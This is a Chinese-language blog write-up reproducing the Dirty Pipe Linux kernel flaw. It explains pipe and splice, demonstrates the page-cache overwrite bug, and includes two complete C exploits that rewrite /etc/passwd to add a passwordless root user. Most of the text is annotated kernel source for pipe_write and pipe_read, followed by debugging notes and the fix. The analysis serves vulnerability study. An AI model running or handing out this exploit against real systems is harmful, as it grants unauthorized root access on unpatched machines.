复现一下 dirty pipe漏洞
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漏洞简介
漏洞发现者 Max Kellermann 并不是专门从事漏洞挖掘工作的，而是在服务器中多次出现了文件错误的问题，用户下载的包含日志的gzip文件多次出现CRC校验位错误, 排查后发现CRC校验位总是被一段ZIP头覆盖。
根据作者介绍, 可以生成ZIP文件的只有主服务器的一个负责HTTP连接的服务，但是该服务并没有写 gzip 文件的权限。即主服务器同时存在一个 writer 进程与一个 splicer 进程, 两个进程以不同的用户身份运行, splicer进程并没有写入writer 进程目标文件的权限, 但存在 splicer 进程的数据写入文件的 bug 存在。
有兴趣可以看看漏洞发现者写的原文。作者竟然是从一个小小的软件bug一步一步深挖到了内核漏洞，实在是佩服作者的这种探索精神。
环境准备
这里我按照自己复现准备的一个真实状态来写。
首先是准备一个被漏洞影响的版本内核，这里我使用了 5.8.0-63-generic 版本。本来之前打算直接 Ubuntu20.04LTS 一了百了，但是发现它内核有自动更新，下过来就是最新的，漏洞已经被修复了。所以这里直接用这个讲讲换这个内核的版本。
首先 apt 寻找这个版本：
apt-cache search linux | grep 5.8.0-63
然后我们在列表中寻一下
再用 apt 安装这个内核
sudo apt install linux-image-5.8.0-63-generic
安装完成之后， reboot 重启，开机界面按 shift+TAB 进入 ubuntu 引导界面，然后选择高级选项 advance，选择我们刚刚安装的那个内核进入启动。
成功替换指定的版本。
前置芝士
pipe
匿名管道，用于作为一个读写数据的通道，参数给一个长度为 2 的 int 数组，并通过这个数组返回，创建成功则返回对应的读写描述符，一端只能用于读，一端只能写。
#include<fcntl.h>
#include<stdio.h>
int main(){
char buffer[10];
int pipe_fd[2]={-1,-1};
pipe(pipe_fd);
write(pipe_fd[1],"AAAA",4);
read(pipe_fd[0],buffer,4);
write(1,buffer,4);
}
/*
AAAA
*/
Splice
splice用于在两个文件描述符之间移动数据， 也是零拷贝。
函数原型是 ：
ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags);
参数解释：
fd_in：输入文件描述符fd_out：输出文件描述符len：移动字节长度flags：控制数据如何移动。
返回值：
>0：表示成功移动的字节数==0：表示没有字节可以移动<0：表示出现某些错误
#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <assert.h>
#include <errno.h>
#include <string.h>
#include <fcntl.h>
int main(){
int pipe_fd[2]={-1,-1};
pipe(pipe_fd);
write(pipe_fd[1],"AAAA",4);
splice(pipe_fd[0],NULL,1,NULL,4,0);
}
/*
AAAA
*/
bug复现
做完上面两个前置芝士之后，应该能对 pipe 和 splice 稍微有点理解了，那么我们来复现一下 paper 上面说的 bug。把两个服务简化一下写出这两个程序：
创建一个 tmpfile，user 属主，权限 755。
//server1,user运行的服务，生成可执行文件为 p1
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
char file[]="./tmpfile";
int main(){
int p[2]={-1,-1};
int fd=open(file,O_WRONLY);
int i=2000;
while(i--){
write(fd,"AAAAA",5);
}
printf("write over\n");
}
下面这个是要准备去写之前准备的那个文件了。
//server2,hacker运行的服务，生成可执行文件为p2
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<string.h>
char file[]="./tmpfile";
int main(){
int p[2]={-1,-1};
int fd=open(file,O_RDONLY);
char buffer[4096];
memset(buffer,0,4096);
if(pipe(p))abort();
int nbytes1,nbytes2;
while(1){
nbytes1=splice(fd,NULL,p[1],NULL,5,0);
nbytes2=write(p[1],"BBBBB",5);
read(p[0],buffer,10);
if(nbytes1==0||nbytes2==0)break;
}
close(fd);
}
我们这么操作：
先使用 user 用户创建一个 tmpfile，运行 p1 文件。
在这个文件中我们写了 5000 个 A，并且权限归 user 所有，只有它有写的权限。
切换回 hacker 用户，运行 p2 文件，我们发现 tmpfile 中间居然出现了 BBBBB。
这就证明了这个漏洞的存在，这个漏洞的危害在于：只要文件可读，那我就可以写，这是非常危险的。
但是，我们不做任何操作，重启机器之后发现文件又变回了全 A 的状态。这说明，p2程序对tmpfile文件的修改仅存在于系统的页面缓存(page cache)中。
但是这个页面缓存在内核中，我们打开的文件会短暂停留在 page cache 当中，一段时间内我们打开的文件就相当于这个 page cache 的内容，所以我们更改了 page cache 其实也是可以达到修改文件的目的的。
exploit以及分析
这里我根据了我自己对这个漏洞的理解写了一个便于我们获取 root 权限的 exploit。
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define PIPE_SIZE PAGE_SIZE*16
void SetCanMerge(int fd[2]){
char buf;
pipe(fd);
for(int i=0;i<PIPE_SIZE;i++){
write(fd[1],"a",1);
read(fd[0],&buf,1);
}
}
int main(){
int pipefd[2];
SetCanMerge(pipefd);
int fd=open("/etc/passwd",O_RDONLY);
splice(fd,NULL,pipefd[1],NULL,1,0);
write(pipefd[1],"oots:",5);
system("su roots");
}
一步一步分析一下它的 exp。
首先我用了一个 SetCanMerge 函数去填满 pipe，这一步的作用是走完一遍 pipe 的缓冲区。pipe 的缓冲区是以页为单位的，总共是 16 页的环形缓冲区。这一步就是去设置所有 page 的 Can Merge 属性。这个 Can Merge 标识了这个 pipe 能否被续写。
我们先来介绍一下续写的概念，续写就是说在我总共 16 页的缓冲区中，我写了一个字符，那么它会被存储在下标为 0 的页的首地址中，我第二次写的时候会写在哪里呢？两个选择，一个是紧跟着后面去写，第二个是在后一页去写，显然为了内存考虑我们大部分会选择紧跟着后面去写，因为总共 16 页，不可能我扔了 16 个字符进管道管道直接就满了。所以我们设置了一个 flags ，它们当中有一位就是标志了是否能在上面续写。
显然我一个一个往里面去丢字符，它肯定会把 16 个页都设置为可以续写，所以这一步就是把 pipe 缓冲区都设置为可续写。第二步我们打开了一个 /etc/passwd 文件，这个文件所有用户可读，只有 root 用户可写，我们以只读的方式打开它获得一个文件描述符，然后通过 splice 向管道中拷贝一个字节的内容。
这里的拷贝一个字节因为是零拷贝，所以它不是真正的拷贝，而是直接把缓存页给挂到了 pipe 缓冲区当中。然而此时 Can Merge 属性又存在，所以我们再往管道里写数据的时候，会因为 Can Merge 而直接写 Page Cache 绕过了权限检查。
于是我们向 /etc/passwd 的第二个字节起写上五个字节 oots:，这样的话 /etc/passwd 的第一行变成了 roots::...，原本第一行的内容为 root:x:...，中间的 x 表示此用户有密码，而我们把 x 取消掉了，那么我们生成了一个 uid 为 0 且没有密码的用户 roots，那么我们通过 su roots 就能直接切换到 root 权限。
内核源码分析
调试环境搭建
这段时间搭建 Kernel Pwn 环境，刚好有时间来做一下源码分析，首先选取对应的内核版本，这里我用了 5.13.19。
首先环境搭建好建议先用 exp 去试试看看漏洞是否存在，这里我使用exp，的确是存在的。
那么我们就开始调试了。
这里提一嘴，我们编译的时候不要勾选 Reducing Debugging Information，不然 vmlinux 将不含结构体信息，调试的难度会大大增加。
pipe源码分析
对于pipe来说，最重要的是读和写对应的调用，它们在内核层名为 pipe_read 和 pip_write，在 /source/fs/pipe.c 当中有完整的定义。
pipe_write
我们先来看看 pipe_write。
函数完整的声明是：
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from);
我们一段一段来分析。
第一部分
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
/* Null write succeeds. */
if (unlikely(total_len == 0))
return 0;
//...
}
第一个分支是如果 total_len==0 则直接 return 0，就是如果没有可写的数据，那么直接返回 0。
而中间的一个函数调用 iov_iter_count 仅仅是取得 iov_iter 中的 count 属性作为返回值，from 望文生义可以理解为是数据从哪里来（from），如果来的数据个数为 0 那么直接结束这次调用。
第二部分
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
//...
__pipe_lock(pipe);
if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
ret = -EPIPE;
goto out;
}
#ifdef CONFIG_WATCH_QUEUE
if (pipe->watch_queue) {
ret = -EXDEV;
goto out;
}
#endif
/*
* If it wasn't empty we try to merge new data into
* the last buffer.
*
* That naturally merges small writes, but it also
* page-aligns the rest of the writes for large writes
* spanning multiple pages.
*/
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
ret = pipe_buf_confirm(pipe, buf);
if (ret)
goto out;
ret = copy_page_from_iter(buf->page, offset, chars, from);
if (unlikely(ret < chars)) {
ret = -EFAULT;
goto out;
}
buf->len += ret;
if (!iov_iter_count(from))
goto out;
}
}
//...
}
先给这个管道上锁，然后判断如果 pipe 对象的 reader 为 0，那么直接给进程发送一个 SIGPIPE，通过查阅资料可得，大部分情况下，该信号会在写一个关闭一个 socket 对象时得到，那么这里同理，可能该管道已经关闭，但是仍往里面写数据。
随后这里的注释提到，如果给出的数据非空，那么尝试将新的数据写入缓冲区。随后这里进行一个判断，这里需要解释这里做的一个运算 chars = total_len & (PAGE_SIZE-1);，PAGE_SIZE 通常情况下来说大小是 4096，刚好是一个 2 的 12 次幂，那么再 -1 相当于就是二进制的 12 个 1，再用 & 运算就是取得 total_len 最低的 12 位，如果管道非空（环形队列判非空仅仅是判 tail 和 head是否相等），且写入长度最低 12 位为 0（这个判断等价于写入的长度不为页的整数倍，可以理解为是 total_len % PAGE_SIZE!=0，但是取模运算挺浪费时间的所以转为位运算），那么执行这个分支。
在分支里面的运算中，先获取 mask 掩码，值为 pipe->ring_size-1，其实跟前面取掩码差不多的道理，通常这个值是 16，也就是环形缓冲区的大小，通过调试输出也可以得到
随后取得环形缓冲区的头部的前一个（循环队列通常是取模，这里 head&mask 同样等效于 (head-1) % 16，至于为什么 -1，则是为了取得头部的前一个管道，来判断一下该管道是否可续写 ）。这里可以大胆猜测是在头部（head）写，尾部（tail）读。随后又进行一个判断 buf->flags & PIPE_BUF_FLAG_CAN_MERGE 是很常见的取标记位，可以理解为缓冲区 PIPE_BUF_FLAG_CAN_MERGE 设置为 1，这里其实就是前面讲的，判断缓冲区是否可续写，后面的再跟一个判断 offset + chars <= PAGE_SIZE，这里也很好理解，chars 我们前面说了就是我本次写入长度对页大小的余数（除去这个长度，其余部分肯定是页大小的整数倍了），如果这个余数加上 offset 在 PAGE_SIZE 之内，简单点讲，就是该页可以续写，且余数部分写入该页不会造成溢出，则执行后面的分支。
那么紧接着一步，先判断 pipe_buf_confirm，这个函数的定义如下：
/**
* pipe_buf_confirm - verify contents of the pipe buffer
* @pipe: the pipe that the buffer belongs to
* @buf: the buffer to confirm
*/
static inline int pipe_buf_confirm(struct pipe_inode_info *pipe,
struct pipe_buffer *buf)
{
if (!buf->ops->confirm)
return 0;
return buf->ops->confirm(pipe, buf);
}
可以直接看给的注释，就是验证管道缓冲区的内容，这里向下再找一层找到这个成员函数 confirm 的定义说明
/*
* ->confirm() verifies that the data in the pipe buffer is there
* and that the contents are good. If the pages in the pipe belong
* to a file system, we may need to wait for IO completion in this
* hook. Returns 0 for good, or a negative error value in case of
* error. If not present all pages are considered good.
*/
int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
判断缓冲区的内容是否为 good，如果为 0 则是 good，其实我也没想到它内容能怎么检查，可能检查是否错误，不过通常来说这个错误不会发生。
随后会执行 copy_page_from_iter(buf->page, offset, chars, from);，这一部分其实还是比较明显的，就是把数据的余数部分拷贝到缓冲区内，追加到 offset 之后，因为缓冲区里原本还有 offset 的数据。
通常来讲，拷贝了那么多，返回值一定也是那么多，随后校验返回值是否正确，然后给缓冲区长度加上拷贝的字节数。随后再提取要写的字节数，这里 copy_page_from_iter 肯定是会把 from 对象的 count 进行相应的减少的，所以如果后面没有数据了，那么直接结束就可以了。
第三部分
这一部分是一个很大的 for 循环，我们来看一下。
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
//...
for (;;) {
if (!pipe->readers) {
send_sig(SIGPIPE, current, 0);
if (!ret)
ret = -EPIPE;
break;
}
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
if (!page) {
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
/* Allocate a slot in the ring in advance and attach an
* empty buffer. If we fault or otherwise fail to use
* it, either the reader will consume it or it'll still
* be there for the next write.
*/
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
if (pipe_full(head, pipe->tail, pipe->max_usage)) {
spin_unlock_irq(&pipe->rd_wait.lock);
continue;
}
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
/* Insert it into the buffer array */
buf = &pipe->bufs[head & mask];
buf->page = page;
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) {
if (!ret)
ret = -EFAULT;
break;
}
ret += copied;
buf->offset = 0;
buf->len = copied;
if (!iov_iter_count(from))
break;
}
if (!pipe_full(head, pipe->tail, pipe->max_usage))
continue;
/* Wait for buffer space to become available. */
if (filp->f_flags & O_NONBLOCK) {
if (!ret)
ret = -EAGAIN;
break;
}
if (signal_pending(current)) {
if (!ret)
ret = -ERESTARTSYS;
break;
}
/*
* We're going to release the pipe lock and wait for more
* space. We wake up any readers if necessary, and then
* after waiting we need to re-check whether the pipe
* become empty while we dropped the lock.
*/
__pipe_unlock(pipe);
if (was_empty)
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
wait_event_interruptible_exclusive(pipe->wr_wait, pipe_writable(pipe));
__pipe_lock(pipe);
was_empty = pipe_empty(pipe->head, pipe->tail);
wake_next_writer = true;
}
//...
}
首先判断 reader 是否有效。随后判管道是否慢，不满则向下执行，其实判满的条件仅仅是 head-pipe->tail>=pipe->max_usage 。其实这里的 max_usage 大概率也是常量 16，验证一下，果然如此。
其实这里也不是很明白为什么一样的常量要用两个代替，客观来说，这两者意思是差不多的。然后分析一下如果不满的情况，先分配一个临时页。随后 spin_lock_irq(&pipe->rd_wait.lock); 上读的锁 spin_lock_irq 的宏定义其实就是上锁，可以再源码中找到。
#define spin_lock_irq(x) pthread_mutex_lock(x)
意思其实就是写的时候不能读，防止调度问题读在写之前发生了。
随后判断，如果管道满，那么解锁直接下次循环，如果管道不满，则 head 向前，将分配的页面插入到这个缓冲区内，并初始化这个缓冲区（len和offset都置零）。
is_packetized 应该是判断这个是否为网络数据包，如果是则设置标志位，否则设置标志位为可续写。用完这个页之后，把临时页指针置空防止被重复用到。随后拷贝一个页从 from 过来，后面当然也是判断拷贝的字节是否为一个页的大小。随后该缓冲区的 offset 置零，len 置为页的大小。如果没有要拷贝的数据了，则直接退出。
如果管道不满则继续如上流程，否则判断，如果管道设置为不能阻塞（O_NONBLOCK），则直接返回错误，否则挂起当前进程，等待数据被读走有空间。
随后释放管道的锁，允许其他线程或进程访问管道。如果在锁被释放之前管道为空，唤醒等待读取的进程。这通过调用 wake_up_interruptible_sync_poll 函数实现。
#define wake_up_interruptible_sync_poll(x, m) \
__wake_up_sync_key((x), TASK_INTERRUPTIBLE, poll_to_key(m))
接下来向管道的异步读取进程发送 SIGIO 信号，通知它们有新的数据可用。wait_event_interruptible_exclusive(pipe->wr_wait, pipe_writable(pipe)); 用于判断管道是否可写，否则阻塞在这里，然后重新获取管道的锁，标记下一个写入者需要唤醒。
这就是这一段代码的所有操作。
最后一部分
static ssize_t pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
//...
out:
if (pipe_full(pipe->head, pipe->tail, pipe->max_usage))
wake_next_writer = false;
__pipe_unlock(pipe);
/*
* If we do do a wakeup event, we do a 'sync' wakeup, because we
* want the reader to start processing things asap, rather than
* leave the data pending.
*
* This is particularly important for small writes, because of
* how (for example) the GNU make jobserver uses small writes to
* wake up pending jobs
*
* Epoll nonsensically wants a wakeup whether the pipe
* was already empty or not.
*/
if (was_empty || pipe->poll_usage)
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
if (wake_next_writer)
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
if (ret > 0 && sb_start_write_trylock(file_inode(filp)->i_sb)) {
int err = file_update_time(filp);
if (err)
ret = err;
sb_end_write(file_inode(filp)->i_sb);
}
return ret;
}
如果管道满，下一个写者不需要唤醒（因为唤醒了也是阻塞）随后释放锁。后面一段代码跟前面for的后面差不多，主要有一个更新文件的操作，先获取文件写锁，然后再更新文件的时间戳，最后释放该锁。
总结
整个管道写的代码就分析的差不多了，小结一下流程。
- 若管道不为空且写入的数据长度不为 PAGE_SIZE的整数倍，那么尝试续写。
- 否则将数据按页拷贝到管道上面，期间可能会挂起进程等待读者取数据。
- 最后更新管道写的文件。
可能会有一个疑问，那就是如果管道为空且长度不为 PAGE_SIZE 整数倍那么它按页拷贝会不会导致拷贝不出 PAGE_SIZE 大小的数据，这里我猜测，copy_page_from_iter 确实是这样的，不足 PAGE_SIZE 的数据填充 0 直接拷贝过来，就不续写了。
事实如何还得稍后深入分析 copy_page_from_iter 的源码。
pipe_read
读的源码其实非常简单，我们同样也来一点一点分析。
第一部分
static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
size_t total_len = iov_iter_count(to);
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
bool was_full, wake_next_reader = false;
ssize_t ret;
/* Null read succeeds. */
if (unlikely(total_len == 0))
return 0;
ret = 0;
__pipe_lock(pipe);
/*
* We only wake up writers if the pipe was full when we started
* reading in order to avoid unnecessary wakeups.
*
* But when we do wake up writers, we do so using a sync wakeup
* (WF_SYNC), because we want them to get going and generate more
* data for us.
*/
was_full = pipe_full(pipe->head, pipe->tail, pipe->max_usage);
//...
}
依然先特判读取长度是否为 0。然后锁上管道，判断管道是否满。
第二部分
static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
for (;;) {
unsigned int head = pipe->head;
unsigned int tail = pipe->tail;
unsigned int mask = pipe->ring_size - 1;
#ifdef CONFIG_WATCH_QUEUE
if (pipe->note_loss) {
struct watch_notification n;
if (total_len < 8) {
if (ret == 0)
ret = -ENOBUFS;
break;
}
n.type = WATCH_TYPE_META;
n.subtype = WATCH_META_LOSS_NOTIFICATION;
n.info = watch_sizeof(n);
if (copy_to_iter(&n, sizeof(n), to) != sizeof(n)) {
if (ret == 0)
ret = -EFAULT;
break;
}
ret += sizeof(n);
total_len -= sizeof(n);
pipe->note_loss = false;
}
#endif
if (!pipe_empty(head, tail)) {
struct pipe_buffer *buf = &pipe->bufs[tail & mask];
size_t chars = buf->len;
size_t written;
int error;
if (chars > total_len) {
if (buf->flags & PIPE_BUF_FLAG_WHOLE) {
if (ret == 0)
ret = -ENOBUFS;
break;
}
chars = total_len;
}
error = pipe_buf_confirm(pipe, buf);
if (error) {
if (!ret)
ret = error;
break;
}
written = copy_page_to_iter(buf->page, buf->offset, chars, to);
if (unlikely(written < chars)) {
if (!ret)
ret = -EFAULT;
break;
}
ret += chars;
buf->offset += chars;
buf->len -= chars;
/* Was it a packet buffer? Clean up and exit */
if (buf->flags & PIPE_BUF_FLAG_PACKET) {
total_len = chars;
buf->len = 0;
}
if (!buf->len) {
pipe_buf_release(pipe, buf);
spin_lock_irq(&pipe->rd_wait.lock);
#ifdef CONFIG_WATCH_QUEUE
if (buf->flags & PIPE_BUF_FLAG_LOSS)
pipe->note_loss = true;
#endif
tail++;
pipe->tail = tail;
spin_unlock_irq(&pipe->rd_wait.lock);
}
total_len -= chars;
if (!total_len)
break; /* common path: read succeeded */
if (!pipe_empty(head, tail)) /* More to do? */
continue;
}
if (!pipe->writers)
break;
if (ret)
break;
if (filp->f_flags & O_NONBLOCK) {
ret = -EAGAIN;
break;
}
__pipe_unlock(pipe);
/*
* We only get here if we didn't actually read anything.
*
* However, we could have seen (and removed) a zero-sized
* pipe buffer, and might have made space in the buffers
* that way.
*
* You can't make zero-sized pipe buffers by doing an empty
* write (not even in packet mode), but they can happen if
* the writer gets an EFAULT when trying to fill a buffer
* that already got allocated and inserted in the buffer
* array.
*
* So we still need to wake up any pending writers in the
* _very_ unlikely case that the pipe was full, but we got
* no data.
*/
if (unlikely(was_full))
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
kill_fasync(&pipe->fasync_writers, SIGIO, POLL_OUT);
/*
* But because we didn't read anything, at this point we can
* just return directly with -ERESTARTSYS if we're interrupted,
* since we've done any required wakeups and there's no need
* to mark anything accessed. And we've dropped the lock.
*/
if (wait_event_interruptible_exclusive(pipe->rd_wait, pipe_readable(pipe)) < 0)
return -ERESTARTSYS;
__pipe_lock(pipe);
was_full = pipe_full(pipe->head, pipe->tail, pipe->max_usage);
wake_next_reader = true;
}
//...
}
紧接着跟一个 for 循环，中间包着一个宏可以不用管，这个应该没有编译进去。
先判是否非空，如果非空说明可以读数据，这里也不赘述取尾部缓冲区的操作了，不明白可以看前面的详细讲解。取出来之后呢，判断，如果该缓冲区数据的长度大于读取字节数 chars > total_len，那么说明这个缓冲区的数据已经够了，读取所需要的字节数就不需要管了，中间判一个标记字段，如果设置了这个标记且还没有读过数据（ret==0）那么报错退出，如果仅仅设置了标记，那么就直接 break。若没设置，则将取出的缓冲区长度设置为读取长度 chars=total_len。
随后再判一下缓冲区内容是否 good，将整个缓冲区拷贝给用户。若 total_len>chars，则拷贝 chars（缓冲区长度），否则把
chars 设置为要读取的总长度并读取这么多。然后设置一下缓冲区的 offset 和 len，其实这里差不多可以理解 offset 和 len 字段的具体含义了。
- len：缓冲区还有多少数据。
- offset：缓冲区的数据从哪里开始。
紧接着判，如果是一个分组管道，也就是网络管道，那么清除整个页并直接退出。
后面判断，如果读取完成之后缓冲区没数据了（同时，网络管道在这里设置为 0 就一定可以进这个分支），那么直接清除这个页。随后上读锁，让 tail++。如果没有要读取数据了，那么退出，随后看看如果还有要读取数据且管道不为空，则继续循环（continue）。
之后的分支都是处理管道为空的情况，不管是经历了一次读或者没有经历过读，都到这里来。判断写者还在不在，如果不在那么退循环，已经读取了若干数据也退循环，主要是没有经历过读 ret==0，那么在这里就一定能要给它一点数据，倘若管道设置为不能阻塞 O_NONBLOCK，那么直接返回错误。
后面的其实跟写差不多，但是这里有点不太明白，如果到这里没有读出数据的话，大概率是管道为空。那么需要唤醒写者来写些数据上去。如果管道满，那么唤醒下一个读者。
第三部分
static ssize_t
pipe_read(struct kiocb *iocb, struct iov_iter *to)
{
//...
if (pipe_empty(pipe->head, pipe->tail))
wake_next_reader = false;
__pipe_unlock(pipe);
if (was_full)
wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM);
if (wake_next_reader)
wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
kill_fasync(&pipe->fasync_writers, SIGIO, POLL_OUT);
if (ret > 0)
file_accessed(filp);
return ret;
}
如果管道为空，那么不唤醒下一个读者。最后就是判断如果读取字节大于0，那么更新文件访问时间。
总结
- 遍历循环队列的列，如果能全读那么全读整个页并释放该页数据，并继续下个页的遍历。
- 长度不足以读完整个页，那么读部分直接退出。
- 根据管道情况选择唤醒读者或者写者。
EXP重写方案
前面写的 EXP 虽然能成功，但是还不够完善，因为经过调试之后，发现 set_can_merge 这里不需要遍历整个 pipe 缓冲区，正如前面分析的，如果管道为空或者读取字节为 PAGE_SIZE 整数倍，那么都直接复制页，不选择续写，所以我们连着读写 16 次就可以给所有的缓冲区打上 PIPE_BUF_FLAG_CAN_MERGE 标志。
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define PIPE_SIZE 16
void SetCanMerge(int fd[2]){
char buf;
pipe(fd);
for(int i=0;i<PIPE_SIZE;i++){
write(fd[1],"a",1);
read(fd[0],&buf,1);
}
}
int main(){
int pipefd[2];
SetCanMerge(pipefd);
printf("[+]set all pipe page can merge done\n");
int fd=open("/etc/passwd",O_RDONLY);
int ret=splice(fd,NULL,pipefd[1],NULL,1,0);
printf("[+]splice done,return value=%d\n",ret);
write(pipefd[1],"oots:",5);
system("su roots");
}
splice分析
同样使用上述 EXP，等到执行 splice(fd,NULL,pipefd[1],NULL,1,0) 。
这里我们在 do_splice_to 函数下断点，然后直接运行，continue 直接走完 16 次的读写。
最后调试的时候可以发现
这里一部分将文件页挂在管道上。
这里发现管道的 head 值已经是 17 了，说明文件页挂在了 16 的位置（也就是 0 ）。
此时发现，管道不为空，写入字节不为 PAGE_SIZE 整数倍，因此进入这个 if 分支。
此时因为前面的填充，导致这个缓冲区一直带着 PIPE_BUF_FLAG_CAN_MERGE 属性，并且在刚刚的 splice 当中并没有消除这个位。因此我们写可以跟着这个文件页后面写。
这里也是可以看到文件成功被写入了。
我们创造了一个没有密码的 uid=0 的用户，所以可以直接 su 切换。
总结
这个漏洞利用的前提是：文件是可读的，我们需要通过零拷贝，把文件页挂在管道上，并且文件第一个字节不可写，因为我们需要至少一个字节的拷贝才能让文件页挂在管道缓冲区。随后写入字节不能为 PAGE_SIZE 的整数倍，否则不能续写。
所以这个漏洞基本可以认为是，只要具有读权限，基本就可以写这个文件了，因此我们修改 passwd 配置提权。
修复方案
究其原因，pipe缓冲区在使用的时候，没有初始化 flag 字段，这个问题在很早版本前就引入了，到Linux 5.8 版本后，将各种类型的 pipe 缓冲区结构体合并之后，就引入了这个 bug。
修复这个问题只需要初始化 flag 字段即可，可以在github的提交上看到这次更新
P.S，才刚学会 Kernel 调试环境的搭建，分析的肯定有不周到的地方，对于存在的问题，还请师傅们多多指出。
本篇分析于过年回家的路上完成，这路太堵了（哭）。
希望能平安到家，也祝各位师傅们新年快乐。
发表于 2024-2-4 17:02
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